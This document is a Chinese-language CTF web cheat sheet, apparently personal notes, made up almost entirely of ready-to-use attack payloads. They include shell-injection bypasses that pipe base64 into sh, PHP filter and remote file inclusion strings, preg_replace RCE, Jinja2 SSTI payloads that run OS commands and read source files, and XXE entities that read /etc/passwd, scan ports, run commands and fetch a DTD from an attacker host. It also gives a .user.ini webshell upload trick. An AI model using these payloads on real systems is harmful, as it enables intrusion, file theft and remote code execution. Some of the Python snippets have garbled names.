CTF web

只记录各种姿势

JAVA

WEB-INF

WEB-INF主要包含以下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,如果能读class文件,在通过反编译class文件,得到网站源码

PHP

基本绕过

?ip=127.0.0.1;catIFS1index.php
?ip=127.0.0.1;echoIFS9Y2F0IGZsYWcucGhw|base64IFS1-d|sh
intval函数对科学计数法判别

php伪协议

?file=php://filter/convert.base64-encode/resource=flag.php
本地文件包含伪协议
?text=php://input
post:
I have a dream

?file=php://filter/read/convert.base64-encode/resource=index.php

远程文件包含

?url=http://hausahan.cn/temp.txt

反序列化

__toString 对象被当作字符串时被调用。
__wakeup() 使用unserialize触发
__get() 从pravite/未初始化的属性读数据触发
__invoke() 尝试以方法调用的方式使用对象时
字符串逃逸
call_user_func里调用unserialize

有的php版本中preg_replace()的/e模式可以RCE
正则贪婪匹配
/next.php?\S*=${getflag()}&cmd=show_source(%22/flag%22);
或者/?.*={${phpinfo()}}

Python

SSTI

一般pyload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
过滤字符串可以’xx’+’xx’
有过滤,open.read读源码:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
os.listdir读文件夹:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
同样使用open.read可以读文件

session伪造

解码代码:!ao!ao :https://www.cnblogs.com/chrysanthemum/p/11722351.html
编码代码:noraj : https://github.com/noraj/flask-session-cookie-manager

命令执行

exec()/eval()/execfile()/compile()
os.system(“ls”)
os.popen(“ls”).read
sys.modules[‘os’].system(‘ls’)
timeit.timeit(“import(‘os’).system(‘ls’)”,number=1)
platform.popen(“ls”).read()
subprocess.run(“ls”,shell=True)
pty.spawn(“ls”)

读取文件

file(‘filename’).read()
file(‘filename’,’w’).write(‘xxx’)
open(‘filename’).read()
codes.open(“filename”).read()

XML-XXE

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///etc/passwd">]>
<user><username>&admin;</username><password>123456</password></user>

扫端口<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
执行命令<!DOCTYPE GVI [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "expect://id" >]>
远程dtd文件<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">

文件上传

传txt马,后传.user.ini,并指定auto_prepend_file为自己的马